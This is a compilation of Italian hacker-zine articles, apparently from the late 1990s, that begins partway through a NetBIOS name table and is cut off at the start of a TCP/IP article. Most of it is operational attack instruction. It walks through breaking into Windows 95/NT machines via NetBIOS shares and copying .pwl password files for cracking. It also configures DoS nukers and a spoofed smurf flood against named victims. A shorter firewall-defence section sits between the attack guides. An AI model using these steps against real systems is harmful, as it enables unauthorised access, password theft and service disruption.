<computername>	46	U	SMS Client Remote Transfer
<computername>	4C	U	DEC Pathworks TCPIP Service
<computername>	52	U	DEC Pathworks TCPIP Service
<computername>	87	U	Exchange MTA
<computername>	6A	U	Exchange IMC
<computername>	BE	U	Network Monitor Agent
<computername>	BF	U	Network Monitor Apps
<username>	03	U	Messenger Service
<domain>	00	G	Domain Name
<domain>	1B	U	Domain Master Browser
<domain>	1C	G	Domain Controllers
<domain>	1D	U	Master Browser
<domain>	1E	G	Browser Service Elections
<INet~Services>	1C	G	Internet Information Server
<IS~Computer_name>	00	U	Internet Information Server
<computername>	[2B]	U	Lotus Notes Server
IRISMULTICAST	[2F]	G	Lotus Notes
IRISNAMESERVER	[33]	G	Lotus Notes
Forte_$ND800ZA	[20]	U	DCA Irmalan Gateway Service

Unique (U): Il nome puo avere assegnato un solo indirizzo IP.

Group (G): Un gruppo normale; il nome singolo puo esistere con molti

indirizzi IP.

Multihomed (M): Il nome è unico, ma a causa di più interfacce di rete sullo
stesso computer, la configurazione è necessaria per permettere
la registrazione. Il numero massimo di indirizzi è 25.

Internet Group (I): Questa è una speciale configurazione del nome del gruppo,
usata per amministrare i nomi di domini in WinNT.

Domain Name (D): Nuovo in NT 4.0

HACKING COL NETBIOS

Sottotitolo:

COME INTROMETTERSI IN SISTEMI 95 O NT via tcp/ip, SFRUTTANDO IL COMANDO
NBTSTAT DI WINDOWS 95.

Finita la teoria (si fa per dire, perchè continuerà ancora per un po') si
passa alla pratica, ovvero come utilizzare tutto ciò che abbiamo letto per
entrare in un sistema collegato in rete.

Affinchè tutto funzioni bisogna avere tra i nostri componenti della rete il
CLIENT PER RETI MICROSOFT e tra le impostazioni di quest'ultimo bisogna
abilitare la "CONNESSIONE RAPIDA". Nella Connessione al provider dobbiamo
anche attivare la casella di "Accedi alla rete". Inoltre dovete anche avere
il file vnbt.386 ; se vi manca questo file, (ad esempio a di winnuke OOB) che
controlla il netbios, non funge niente e devi provvedere !!!

Fatto questo occorre fare un paio di precisazioni: innanzitutto occorre che i
PC nei quali vogliamo entrare, abbiano il NETBIOS attivo sul protocollo
TCP/IP.

Per sapere ciò occorre utilizzare un programma di Ms-Dos che si chiama
NBTSTAT. Ecco qui di seguito i sui parametri, anche se noi (in questo caso)
ci limiteremo a vedere il parametro -A :

NBTSTAT

Display protocol statistics and current TCP/IP connections usins NBT (NetBIOS
over TCP/IP).

NBTSTAT [-a RemoteName] [-A IP address] [-c] [-n] [-r] [-R] [-s] [-S]

[interval]

-a (adapter status) Lists the remote machine's name table given its name
-A (Adapter status) Lists the remote machine's name table given its IP address
-c (chace) Lists the remote name chace including the IP addresses
-n (names) Lists local NetBIOS names
-r (resolved) Lists names resolved by broadcast and via WINS
-R (Reload) Purge and reloads the remote cache name table
-S (Sessions) Lists sessions table with the destination IP addresses
-s (sessions) Lists sessions table converting destination IP addresses
to host name via the hosts file

interval Redisplays selected statistics, pausing interval seconds
between each display.

Come detto sopra a noi interessa vedere se un determinato client ha installato il NetBIOS, per cui utilizzeremo il comando:

NBTSTAT -A xxx.xxx.xxx.xxx

(-A maiuscolo; xxx.xxx.xxx.xxx = numero IP della macchina su cui vogliamo verificare se il NetBIOS è attivo)

Ora abbiamo due possibilità:
A) NETBIOS non è attivo sulla macchina remota e quindi non è possibile entrarci In questo caso l'output del comando NETSTAT -A xxx.xxx.xxx.xxx sarà:
Host not found

B) NETBIOS è attivo e allora possiamo andare avanti. In questo caso l'output sarà qualcosa del genere:

Name Type Status

SERVER <00> UNIQUE Registered
MEDIA SPAZIO <00> GROUP Registered
SERVER <03> UNIQUE Registered
SERVER <20> UNIQUE Registered
MEDIA SPAZIO <1E> GROUP Registered

(La spiegazione di come leggere la tabella è già stata spiegata, ma in ogni caso, a noi serve solamente vedere il primo nome che ci compare)

Se abbiamo trovato una macchina con il netbios attivo andiamo nella nostra directory \windows (o se avete installato windows in un'altra directory....in quella dove è installato) e cerchiamo il file Lmhosts.

Se non è presente lo creeremo con il notepad. Ricordatevi di togliere

l'eventuale estensione .txt quando lo salverete....

Attenzione: solitamente è presente un file chiamato Lmhosts.sam; è un esempio
di come si fà il file Lmhosts... ma non ce ne fotte nulla.

Editiamo quindi il file Lmhosts in questo modo:

xxx.xxx.xxx.xxx <tab> Nome della macchina <tab> #PRE

Il nome della macchina è il primo che troviamo con il comando
NETSTAT -A xxx.xxx.xxx.xxx; nel caso portato ad esempio è SERVER. Mettiamo
che l'ip della macchina di cui sopra sia 194.210.123.11, scriveremo:

194.210.123.11 SERVER #PRE

usate la tabulazione per staccare le tre parti.

Salvate nella directory di windows e ricordatevi di togliere l'eventuale
estensione .txt (praticamente il nome del file dovrà essere solamente Lmhosts)

Ora dobbiamo tornare in Ms-Dos (naturalmente utilizzate il prompt di Windoze)
e utilizzare un'altra opzione del comando NBTSTAT. Il parametro in questione
è -R (Reload) e serve per vuotare (prima) e rileggere (dopo) la cache remota
per al tabella dei nomi. Quindi:

NBTSTAT -R

Digitato questo dovremmo ricevere un messaggio di conferma:
Successful purge and preload of the NBT Remote Cache Name Table

altrimenti se qualcosa non è andato bene riceveremo un errore (probabilmente
avete sbagliato qualcosa nello scrivere)

Arrivati a questo punto dobbiamo sperare che il PC abbia delle risorse
condivise: Dischi... Stampanti...

Per vedere se un computer condivide delle risorse in rete, questa volta
dobbiamo utilizzare un'altra utility di Dos che è net view ...

Net View

Visualizza l'elenco dei computer di un gruppo di lavoro specifico o le risorse
condivise disponibili su un computer specifico.

NET VIEW [\\computer] [/YES]
NET VIEW [/WORKGROUP:nomegl] [/YES]

computer Specifica il nome del computer del quale si desidera che vengano
visualizzate le risorse condivise.

/WORKGROUP   Specifica che si desidera avere visualizzati i nomi dei computer
che condividono risorse in un altro gruppo di lavoro.
nomegl   Specifica il nome del gruppo di lavoro del quale si desidera
avere visualizzati i nomi del computer.
/YES   Esegue il comando NET VIEW senza richiedere di fornire
informazioni o di confermare operazioni.

Per visualizzare un elenco dei computer del proprio gruppo di lavoro che condividono risorse, digitare NET VIEW senza le opzioni.

Tornando a noi, dovremo digitare:
net view \\Nome della macchina

(nel nostro esempio: net view \\SERVER)

Se il computer condivide qualcosa avremo l'elenco delle risorse condivise...
una cosa del genere:

```
Condivisione Tipo        Commento
-----------------------------------
COLORI           Stampa
DISCO SERVER      Disco
RICOH-LASER       Stampa
Esecuzione comando riuscita.
```

Se non condivide nulla possiamo anche cambiare obiettivo... :(((

La macchina in questione condivide due stampanti ed un disco.

Per condividere il disco andiamo in Risorse del Computer.... e clicchiamo sulla barra degli strumenti (se non l'avete ancora attivata... che aspettate?!?!) sull'icona "Connetti unità di rete"; apparirà una finestra con UNITA' e PERCORSO.

Lasciamo l'unità a quella che è, e digitiamo nel percorso cio' che segue:

\\Nome della macchina\nome condivisione

Quindi nel nostro caso \\SERVER\DISCO SERVER (sempre rispettando maiuscole e minuscole)

A questo punto verrà creata un'icona con la condivisione e cliccandoci sopra entreremo nel disco del computer remoto. Potremo sfogliarlo, copiare e nel caso non sia Read-only scriverci! (Complimenti... ce l'avete fatta!)

E' anche possibile condividere una stampante.
Per fare cio' andiamo nella cartella stampanti, clicchiamo aggiungi stampante,

scegliamo STAMPANTE DI RETE, digitiamo il percorso della stampante... ad
esempio nel nostro caso potrebbe essere \\SERVER\COLORI o \\SERVER\RICHO-LASER
scegliamo di non stampare la pagina di prova (per non rovinare l'effetto
sorpresa) e confermiamo il tutto.

A questo punto il PC scaricherà i drivers direttamente dal PC REMOTO...
potrebbero volerci una decina di minuti, e il pc sembrerà bloccato, ma non lo
è; attendete pazientemente e quando avrà finito potrete scrivere un bel file
con il msg:

HACKERATI,SIETE STATI HACKERATI,SIETE STATI HACKERATI,SIETE STATI
HACKERATI,SIETE STATI HACKERATI,SIETE STATI HACKERATI,SIETE STATI
HACKERATI,SIETE STATI HACKERATI,SIETE STATI HACKERATI,SIETE STATI

o quello che volete e stamparlo sulla stampante remota... immaginate la
sorpresa !!!

Naturalmente questa non è l'unica cosa che potete fare! Se volete potete
andare nella cartella windows e copiarvi sul vostro hard-disk i files
System.ini e tutti i file con estensione .pwl (Password List), ovvero i filez
che contengono tutte le passwords salvate. In questo modo con un crack per
file pwl potete grabbare ai coglioni tutte le loro passwords!

Anche questo è un semplice esempio, ora sta a voi inventare cosa fare... mi
raccomando fate attenzione! I fottutissimi Logs sono sempre in agguato!

ERRORI

É probabile che, se non avete impostato tutto bene, vi dia qualche errore...
ecco qui la spiegazione di quelli più frequenti:

- Errori che si verificano col comando: NET VIEW \\NOMEPC

3787 ##
"Errore 3787: accedere prima di eseguire l'operazione"

Se con il comando net di win95 vi appare questo errore, vuol dire che nelle
impostazioni della vostra connesione non è stato selezionato: "Accedi alla
rete" o "Log into network" per chi ha la versione americana. Una volta
selezionato, quell'errore non apparirà piu', però noterete dei rallentamenti
nella fase di connessione!

53 ###
Errore 53: mpossibile individuare il nome computer specificato nel percorso
di rete. Verificare che il nome sia corretto o riprovare in un secondo tempo,

quando il computer remoto sarà disponibile.

Normalmente si verifica se il PC remoto ha il servizio di condivisione
attivo ma non condivide niente.

- Errori che si verificano con il comando: nbtstat -A

51 ##
"Errore 51: Richieste non ricevute dal computer specificato. Verificare il
nome del computer o riprovare in un secondo tempo quando sarà disponibile."

sembra - ma non ho verificato - che si ottenga se dando il
nbtstat -A xxx.xxx.xxx.xxx non si ottiene un riga tipo
NST <1E> GROUP Registered

CONSIDERAZIONI FINALI

Lo so che è difficile che le condizioni affichè cio' funzioni si verifichino
tutte insieme... ma vi assicuro (esperienza personale) che in un'ora di lavoro
riuscite a trovare 4 o 5 server (o client) che presentano questa falla.

Ultimamente ho provato anche a studiare un programmino che faccia tutto questo
da solo, tipo uno scanner, che buchi anche il remoto. Purtroppo (non so il
perchè) non funzia sempre, per cui vi consiglio di avere pazienza e (per ora)
di utilizzare un po' di buona volontà!

Il risultato è garantito.

GUIDA AGLI ERRORI CON NET VIEW

```
Gli      _____    _ ____  ____     ___    _______      _____08-10-1998
       / __/__  (_) _ \/ _ \____  / / ____/_  __/__  _____/  _/ ASCII
      _\ \/ _ \/ / ___/ ___/ _ \/ /_/ _ `// / / _ \/ __// /    by
     /___/ .__/_/_/  /_/   \___/_____|_,_//_/  \___/_/ /___/RigoR MorteM
        /_/
```
Presentano:

documentazione deegli errori che siamo riusciti a spiegare ,-)
By Bacco

Questo documento sciega gli errori più comuni che si verificano

quando si cerca di fare un
NET VIEW \\NOMEPC

3787 ###
"Errore 3787: accedere prima di eseguire l'operazione"

Se con il comando net di win95 vi appare questo errore, vuol dire che nelle impostazioni della vostra connesione non è stato selezionato: "Accedi alla rete" o "Log into network" per ki ha la versione americana.
Una volta selezionato, quell'errore non apparirà piu', però noterete dei rallentamenti nella fase di connessione!!!

a me è successo anche quando pur avendo installato nel sistema la scheda di rete questa non era fisicamente presente, quindi il servizio di rete era automaticamente disabilitato dal plug&PRAY di w95 ;-(

1a prova per risolvere il problema è di verificare che con la connessione Dial-Up vs. il provider attiva (se no w95 non assegna l'indirizzo alla scheda RAS) facendo un
net view \\SeStessi
non si ottenga l'errore, altrimenti è la prima cosa da risolvere prima di procedere

53 ###
Errore 53: mpossibile individuare il nome computer specificato nel percorso di rete. Verificare che il nome sia corretto o riprovare in un secondo tempo, quando il computer remoto sarà disponibile.

Normalmente si verifica se il PC remoto ha il servizio di condivisione attivo ma non condivide niente.

51 ###
"Errore 51: Richieste non ricevute dal computer specificato. Verificare il nome del computer o riprovare in un secondo tempo quando sarà disponibile."

sembra - ma non ho verificato - che si ottenga se
dando il nbtstat -A xxx.xxx.xxx.xxx non si ottiene un riga tipo
NST <1E> GROUP Registered

tutto da verificare, chi lo fa ...me lo comunichi, grazie ;-)
##

CONOSCERE GLI ATTACCHI DOS

Su IRC può capitare spesso di disconnettersi dal server, che cada la linea, o si blocchi il computer. Solitamente non ci facciamo più di tanto caso, ma spesso il motivo del contrattempo è dato da qualcuno, che con qualche programma ha fatto si che ciò accadesse..
Questo tipo di attacchi è detto DoS, (Denial of Service = Privazione di Servizio) termine che

racchiude in se tutti i tipi di attacchi che non hanno lo scopo di penetrare in un sistema, ma solo di causare rallentamenti, disconnessioni, o crash al fine di privare di un determinato servizio un certo computer connesso alla rete.
I DoS più comuni si dividono in: "Attacchi Bug" e "Attacchi Flood"

ATTACCHI BUG
Come certamente saprete, nessun sistema operativo (specialmente Windows) è perfetto, ed è possibile mandarlo in crash, o comunque creargli dei problemi, semplicemente crando una situazione che l'OS non sa gestire...
Perciò sono stati utilizzati alcuni sistemi, per attaccare gli OS tramite le rete.
Purtroppo (o fortunatamente) alcuni di dei seguenti attacchi non sono più utilizzati, perchè a causa degli aggiornamenti dei software molti di essi non sono più efficaci..
Ma adesso vediamoli nel dettaglio:

OOB
Detto anche WinNuke (dal nome del famosissimo programma che lo genera), l'OOB (Out Of Band) è
un'attacco che consiste nell'invio di una stringa non valida alla porta 139 (netbios), e la macchina non sapendo interpretare il comando va in crash.
I sintomi sono BlueScreen, o congelamento.
L'attacco può essere generato da qualsiasi tipo di macchina, ma è efficace solo contro Win95/NT con le Winsock di versione inferiore alla 2.2.
Il più famoso programma per utilizzare questo attacco è WinNuke, ma consiglio anche vOOB.
Per Windows NT la porta di default è la 137.

Bonk
Un'attacco che ha come sintomo il BlueScreen, e che funziona solo su Win95/NT con le WinSock non
aggiornate.
Può essere generato solo da macchine *nix, anche se con il programma Exploit Generator è possibile utilizzarlo anche da Windows.

Land
Invia un pacchetto con gli stessi indirizzi di sorgente e destinazione ad una porta causando il blocco del sistema.
Il land ha come sintomo il blocco completo del PC.
Ha effetto solo su Win95/NT con le WinSock non aggiornate, e può essere generato solo da macchine *nix, anche se con il programma Exploit Generator è possibile utilizzarlo anche da Windows.

Teardrop
Invia un pacchetto IP frammentato in modo non corretto. Lo stack TCP/IP va in crash tentando di riassemblarlo.
Il teardrop ha come sintomi il blocco/riavvio immediato del sistema.
E' efficace su Win95/NT e Linux precedenti a 2.0.32 o 2.1.63.
Per Windows 95, potrebbe essere inutile anche aggiornare le WinSock a causa delle sue molteplici varianti.

Può essere generato solo da macchine *nix, anche se con il programma Exploit Generator è possibile utilizzarlo anche da Windows.

Bloop

Detto anche "Flushot", è un'attacco che può essere generato solo da macchine *nix, e che causa il blocco del sistema su Win95/98/NT.

ICMP Nuke

Detto anche "Click", colpisce il protocollo tcp del server IRC e del client connesso; Questi attacca entrambe le porte sulle quali comunicano il client e il server causando la chiusura immediata della connessione.
Sono affetti da ICMP Nuke tutti i sistemi Windows, e può essere generato da una qualsiasi macchina.
Non tutti sanno che questo attacco può essere inviato non solo contro le connessioni IRC, ma anche contro qualsiasi connessione TCP (i msg di errore del browser per esempio "la connessione è stata reimpostata").
Il programma più famoso per generare questo attacco è senza dubbio Click2.2.

Ping Pattern

Consiste nell'inviare al modem della vittima attraverso PING o anche CTCP il comando +++ATH0 (disconnessione). Il modem alla risposta si disconnette immediatamente.
Sono affetti tutti i sistemi operativi con modem non US ROBOTICS (50%).
Un firewall ben impostato risolve il problema o anche basta impostare ATS2=255 fra le inizializzazioni:
Avvio -> Impostazioni -> Pannello di controllo -> Modem -> Proprietà modem -> Connessione -> Avanzate -> Altre impostazioni : inserire ATS2=255
Il miglior programma per lanciare questo attacco è il Rocket V1.0.

SSPing - Ping of Death

Il Ping of Death (detto anche ssping) è un attacco provocato dall'invio di uno o più messaggi richiesta echo ICMP di dimensioni maggiori a 64 KB. Windows non è configurato per ricevere pacchetti di tali dimensioni, e va in crash.
Gli effetti variano da macchina a macchina ed è un'attacco che ha efficacia su tutti i sistemi Windows.
Può essere generato da una macchina qualsiasi, e per difendersi è possibile aggiornare il proprio OS con una pach.

ATTACCHI FLOOD

E' possibile creare rallentamenti, o disconnessione, anche inviando enormi quantità di dati.
L'efficacia di questi attacchi è data anche dalla differenza di velocità di connessione tra vittima e attaccante.
Vediamoli meglio:

ICMP Flood

Avviene di solito mediante l'invio di molti ping. Il flood si verifica quando un utente invia una enorme serie di ping che attaccano direttamente il winsock. Praticamente il modem viene sovraccaricato di pacchetti ping inutili e questo comporta un notevole rallentamento della connessione. Il computer attaccato quindi passerà tutto il tempo a rispondere ai ping dell'

aggressore e verranno bloccate tutte le altre connessioni.
Sono affetti tutti i sistemi operativi, e può essere generato da una macchina qualsiasi
Di programmi per utilizzare questo attacco ce ne sono veramente tantissimi, e uno di questi è Battle Pong.

SYN Attack
Il suo uso principale è bloccare servizi come Telnet o FTP. In pratica un SYN flood stabilisce molte connessioni ad un'unica porta TCP di un host remoto. Stabilita una connessione (tramite l' invio di un messaggio SYN), la vittima si aspetta un messaggio "ack", che l'attaccante si guarderà bene dal mandargli.
Così l'attaccante chiude la connessione, ma la vittima continuerà ad aspettare il messaggio ack per un certo periodo di tempo. Ne viene aperta un'altra, e il processo si ripete, facendo si che la vittima abbia tantissime connessioni aperte, e l'attaccante solo una.
In questo modo è facile che il programma monitor vada in crash con il pericolo di un crash di sistema.
Sono affetti tutti i sistemi operativi, e può essere generato da una macchina qualsiasi.
La soluzione è evitare in ogni modo di tenere anche solo per monitoraggio porte aperte.
Un programma per generare questo tipo di attacco è SYN Flooder, ma funziona solo con Windows 2K.

IGMP Attack
L'attaccante invia alla vittima decine di pacchetti IGMP, Windows non riuscendo a gestire questo protocollo rallenta la connessione. Certe volte può dare anche BlueScreen.
E' un'attacco che può essere generato da qualsiasi macchina, e che ha effetti su Win95/98/NT.
Esistono delle pach che riducono l'offensività di questo attacco, ma non rendono immuni da un flood di questi pacchetti.
Un programma che invia questo attacco è Doom IGMP Nuke.

Smurf
L'attacante invia a degli IP Broadcast (i quali smistano il pacchetto ad una parte di rete, che può essere anche molto grande) dei pacchetti ICMP Echo Request, con l'IP della vittima.
Questa perciò viene sommersa dalle risposte (ICMP Echo Reply) di molti PC.
Il sintomo è la disconnessione, o rallentamento.
Può essere generato solo da macchine *nix, anche se Explorer Generator riesce a utilizzare questo tipo di attacco (anche se con risultati molto minori).
Sono affetti tutti i sistem operativi.

@@@
@@@
@@@@@@@@@@

2.Configurare un nuker

Dopo aver visto come funzionano i più comuni attacchi DoS, vediamo anche come utilizzarli.
Tutte le impostazioni sono relative ad un modem 56K.

CLICK 2.2

Il Click è il programma più usato dai dillettanti su IRC, ma può essere utile per disconnettere dal server qualcuno che ha una connessione più veloce della nostra.
Questo programma usa l'attacco chiamato Nuke ICMP, e per farlo attacca tutte le porte client e server più comunemente utilizzate nel campo IRC, fino trovare l'accoppiata giusta.
Vediamo come configurarlo:

- Selezionare l'opzione "Client"
- Error: Protocol Unreachable
- Server: inserire il server IRC della vittima
- Porte Server: start=6660 stop=6669
- Client: inserire l'IP della vittima
- Porte Client: start=1024 stop=1800 (ma per alcuni utenti può essere necessario inserire 4000)
- Send 75 packets
- Every 1000 ms (se non vi disconnettete provate 500)
- Clickare su "NUKE"
- Enjoy yourself

DOOM IGMP NUKE
Invia pacchetti IGMP, e Windows cade, perchè non riesce a gestire questo protocollo.
Secondo me è il miglior nuker per Windows98: funziona nel 90% dei casi, anche perchè la maggior parte firewall non filtrano questo tipo di attacco.
Vediamo come configurarlo:

- Target IP: inserire l'Ip della vittima
- Size: 15000 (meglio 30000)
- Times: 30 (per alcuni utenti particolarmente resistemti ppuò essere neccessario arrivare a 100)
- Clickare su "NUKE!"
- Enjoy yourself

ROCKET
Invia la stringa si disconnessione "+++ATH0"
Prima di utilizzare qualsiasi altro attacco lo provo sempre: funziona istantaneamente, e da risultati abbastanza verosimili, putroppo il 50% dei modem non ne sono affetti...
Vediamo come configurarlo:

- Target IP:Inserire l'IP della vittima
- Data: +++ATH0
- times: 5
- time out: 3000
- Clickare su "SEND PACKET"
- Enjoy yourself

I messaggi che vengono visualizzati dopo aver nukkato possono essere molto utili per conoscere l'esito dell'attacco:
- "Possible target is hit by Rocket.": il modem della vittima è stato disconnesso (ATTENZIONE: questo messaggio viene visualizato anche nel caso che la vittima stia usando un firewall).
- "Possible target is not vulnerable.": la vittima non può essere disconnessa con questo tipo di attacco.
- "Operation completed.": il modem della vittima potrebbe essere stato disconnesso, ma non se ne

può avere la certezza.

ICMP Flooder
Nel configurare questo tipo di nukes non mi riferisco ad uno in particolare, perchè ce ne sono veramente moltissimi, e generalmente sono molto simili tra di loro.
Apparte l'IP del malcapitato, consiglio di fare molte prove, cercando di impostare la grandezza dei pacchetti maggiore possibile, e l'intervallo minore possibile.
Tuttavia dovete stare attenti a non esagerare troppo, altrimenti potreste rallentare troppo la vostra connessione.

Nukes OOB
Ricordatevi che questo attacco funziona solo contro Win95/NT con winsock non aggiornate.
Spiego il funzionamento dei nuker di questo tipo, senza riferirmi ad uno in particolare perchè ne esistono tantissimi si assomigliano molto tra loro:

- Messaggio: Una qualsiasi frase o parola.
- Host o IP: inserire l'IP della vittima
- Porta: 139 (137 per WinNT)
- Times (o "Numero", o "Volte"): 3 o 4 possono bastare
- Enjoy yourself

NB: molti di questi nuke sono in Inglese, ma con la spiegazione che vi ho fornito dovreste ugualmente intuire come si utilizzano

Smurf
L'unico programma che genera realmente attacchi smurf (benchè di modeste dimensioni) sotto Windows è Exploit Generator.
Come sapete, per fare un'attacco smurf dobbiamo essere a conoscenza di molti PC Broadcast.
Per trovarli potete usare un programma come Ultimate Broadcast Scan (UBS).
Vediamo come settarlo:

- Start broadcast address: inserire i campi del range di Ip da scannare
- Time after the end...statistics: 3000 ms
- Sort broadcasts more than 5 addresses
- Nel riquadro in basso a destra verranno visualizzati gli IP dei broadcasts trovati, quindi salvarli su un file tipo "BroadcastList.txt".

Ma adesso vediamo come settare Exploit Generator per un'attacco smurf:
Dopo la schermata di avvio cliccare sul pulsante in basso "Simple mode" (volendo potete farlo anche dal "Packet Builder", ma in quel caso non avreste bisogno di questa guida..).
A questo punto modificare solo le opzioni elencate:

- Destination IP: inserire l'IP della vittima
- Source IP: un qualsiasi IP che non sia il vostro (meglio se è quello della vittima stessa)
- Delay: Il minimo che riuscite a sostenere

- # of packets: provare 50, ma dipende da quanto e per quanto tempo volete rallentare la vittima
- Anti Back fire impostarlo a seconda della velocità della vostra connessione, comunque sarebbe bene fare delle prove.
- Adesso cliccare sul pulsantino "BC": apparirà una schremata: clickare su "load" e caricare il file in cui avete salvato gli IP Broadcast.
- Premere il tasto "Smurf".
- Enjoy yourself!!

@@@
@@@
@@@@@@@@@@

3.Difesa

Come dico sempre io "prima di incominciare a diconnettere la gente bisogna proteggersi, altrimenti prima o poi trovi qualcuno che ti riavvia il PC".
In realtà il pericolo maggiore non è questo (anche perchè se uno ci sa fare te lo riavvia ugualmente), il fatto è che qulacuno potrebbe risentisrsi dei pacchetti che tu gli hai inviato, e disconnettere te, oppure nel caso che tu abbia un troian installato, che ti entri dentro il PC (ma questa è un'altra storia).

Vediamo come difendersi con i vari sistemi operativi:

WINDOWS 95/NT

Aggiornare le winsock alla versione 2.2 difende dai seguenti attacchi:
OOB
Land
Bonk
e in molti casi anche dal Teadroop

Utilizzare uno o più firewall difende dai seguenti attacchi:
OOB
Land
Bonk
Teardrop
ICMP Nuke
Ping Patern
Icmp Flood
Solamente in certi casi SSPing

Per gli ssping, e gli IGMP nuke è necessario installare una pach apposita.
I pacchetti IGMP possono essere utilizzati ugualmente per normali attacchi flood, e non mi è possibile esserne immune, perchè non ho trovato firewall che filtrano questo tipo di pacchetti.

Per il SYN Flood bisogna evitare di tenere aperte porte, anche solo per monitoraggio (cosa praticamente impossibile).

Per il Bloop non ho notizie certe, ma probabilmente con un firewall si ovvia al problema.

Se non ne siete immuni per difendersi dal Ping Patter è sufficente inserire:
Avvio -> Impostazioni -> Pannello di controllo -> Modem -> Proprietà modem -> Connessione -> Avanzate -> Altre impostazioni : inserire ATS2=255

ATTENZIONE: Non è possibile proteggersi da attacchi Smurf.

WINDOWS 98

E' un sistema operativo immune ai seguenti attacchi:
OOB
Land
Bonk
Teardrop

Utilizzare uno o più firewall difende dai seguenti attacchi:
ICMP Nuke
Ping Pattern
Icmp Flood
Solamente in certi casi SSPing

Per gli ssping, e gli IGMP nuke è necessario installare una pach apposita.
I pacchetti IGMP possono essere utilizzati ugualmente per normali attacchi flood, e non mi è possibile esserne immune, perchè non ho trovato firewall che filtrano questo tipo di pacchetti.

Per il SYN Flood bisogna evitare di tenere aperte porte, anche solo per monitoraggio (cosa praticamente impossibile).

Per il Bloop non ho notizie certe, ma probabilmente con un firewall si ovvia al problema.

Se non ne siete immuni per difendersi dal Ping Patter è sufficente inserire:
Avvio -> Impostazioni -> Pannello di controllo -> Modem -> Proprietà modem -> Connessione -> Avanzate -> Altre impostazioni : inserire ATS2=255

ATTENZIONE: Non è possibile proteggersi da attacchi Smurf.

Abbiamo parlato di "Firewall", ma cosa sono, e a cosa servono??
Un firewall è un programma che controlla, e filtra i pacchetti e le connessioni in entrata ed in uscita dal nostro PC. Con un firewall ben settato possiamo raggiungere un livello di sicurezza abbastanza elevato, ma adesso vediamo come settarli:

NukeNabber
Questo non è un vero e proprio firewall, ma serve soprattutto per loggare gli attacchi, e le connessioni.
- Andare in File -> Options -> General
- selezionare "Block portscan" (chiude le porte dopo uno scan)
- "Disable port for.....": mettere 120 secondi (evita di riaprirle per X secondi).
- Poi andare in in File -> Options -> Advanced: qui si possono controllare le attivita' di monitoring sulle porte.
- Indicare le seguenti porte:

NukeNabber di default controlla le seguenti porte:
- 5001 (tcp), 5000 (tcp), 1080 (tcp), 1032 (tcp), 1029 (tcp), 1027 (tcp)
- 139 (tcp), 138 (tcp), 137 (tcp): Queste devono restare, ma disinstallando NetBIOS o installando WinNuke95 e selezionando "Patch against Nuke", le si puo' togliere.
- 129 (tcp), ma non e' un servizio standard.
- 53 (tcp),
  si puo' togliere, a meno di non avere un DNS sul PC, accessibile
  dall'esterno.
- 19 (udp)Su Windows 95 non c'e' il servizio chargen corrispondente alla porta.

Su WinNT, va elimitato, dal pannello di controllo "Small TCP Services", perche' si puo' indurre NT a cortocircuitare le proprie porte 19 e 53, con risultati non proprio esaltanti. Con Windows 95/98 no (non c'e' il servizio).
- Vanno aggiunte invece le seguenti:
- 31337 (udp), Porta di default del Bo.
- 61466 (tcp), 50505 (tcp)
- 12345 (tcp), 12346 (tcp), porte utilizzate da NetBus.

Si tenga comunque presente che gli scan alla ricerca di backdoor/server vari non sono pericolosi in quanto tali.

PC Conseal Firewall
Secondo me questo è un'ottimo firewall, è molto semplice da usare, ma il settaggio è molto complicato, per questo consiglio di scaricarsi delle rules, cioè dei files di regole su cui il Conseal si basa per la difesa.
Per utilizzare un file rule, caricare il file da: File --> Change Ruleset File...
A questo punto il firewall funziona correttamente, ma potrebbe esserci utile, per qualche motivo, disattivarlo temporaneamente: per farlo andare nel menu "Rules": ci apparirà una finestra, dove noi toglieremo la "V" alla casella "Firewall Up" (per riattivarlo, rispuntare la casella).
In caso che vogliate fare voi un file rules, andare su "Rules" --> "All Network device".

ATGuard
Anche questo è un ottimo firewall, un po' più complicato da usare del Conseal, ma il settaggio è abbastanza semplice.
Per settarlo andare dal menu avvio su: "Start -> Programmi -> ATGuard -> Settings:
Si aprirà un programma, andare sulla scheda "Firewall".
A questo punto abbiamo molte regole gia impostate correttamente, tuttavia consiglio di bloccare tutti gli ICMP diretti verso il nostro pc:

Cliccare su "Default ICMP Inbound", e premere su "Modify.."
Si aprirà una finestra, e cambiare la casella "Action" da "Permit" a "Block".
Poi andare sulla scheda "Login "e selezionare la casella "Log an event...matched", e la casella "Show notifications..."

Il computer adesso è difeso dai più comuni attacchi, ma consiglio di bloccare le porte dei troian più usati in questo modo:

Tornare alle rules, cliccare su "Add.."
Si aprirà una finestra, che noi dovremo impostare nel seguente modo:
- Name: inserire il nome del troian (Es. Sub7)
- Action: Block
- Directions: Inbound
- Protocol: TCP or UDP
Nelle schede sotto, selezionare in questo modo:
- Applications: selezionare Any aplications
- Services: selezionare a sinistra "Any service", a destra "List of services", dopodichè premere su "Add" e scrivere le porte utilizzate dal troian (Es. 1243 e 27374)
- Addresses: lasciare come di default
- Time Active: lasciare come di default
- Loggin: selezionare la casella "Log an event...matched", e la casella "Show notifications..."
Si noti che le difese contro i troian Netbus e Back Orefice sono gia impostate correttamente.

Ogni volta che ATGuard rivelerà qualche connessione, o trasmissione di pacchetti non ancora impostata chiederà se farla passare sempre, bloccarla sempre o farla passare o bloccare solo per quella volta.

Una volta avviato ATGuard verrà visualizzata una barra in alto sullo schermo, per attivare il firewall spuntare la casella "Firewall" e l'ultima casella a sinistra.
Per visualizzare i log cliccare con il tasto destro sulla barre, ed andare su "Event Log".

--==ooOO- LO STACK TCP/IP E I SOCKET -OOoo==-- By LuRkIn'

INDICE

1 INTRODUZIONE

Quando leggo gli articoli di BFI provo contemporaneamente meraviglia e sgomento. Lo sgomento nasce dal fatto che, in quella e-zine, spesso mi mancano le informazioni per poter capire quella massa di dati forniti con estrema disinvoltura.
Lo stesso è avvenuto per l'articolo "Guida newbie all'IP spoofing" che altro non era che la seconda parte del progetto "0N0S3NDAi" elucubrata dal pur ottimo FuSyS. Lì per i veri newbie c'era ben poco da spolpare.
Al momento non avevo sottomano la prima parte del progetto e così scartabellai libri, manuali, ezines, e quant'altro mi potesse fornire la conoscenza per avvicinarmi al livello richiesto da FuSyS. Letture disordinate, sul letto o in cucina, nei ritagli di tempo che a volte, invece, arrivavano ad inglobare buona parte della giornata.
Quindi le ho organizzate in piccoli appunti, collegandoli tra loro come chiazze d'olio nell'acqua.
Ma ecco quello che ne è uscito.

2) LO STACK TCP-IP

Esiste un'ampia letteratura sui modelli di organizzazione della rete e sulla descrizione dei protocolli utilizzati per la trasmissione dei dati. I principali modelli prevedono la suddivisione della rete in

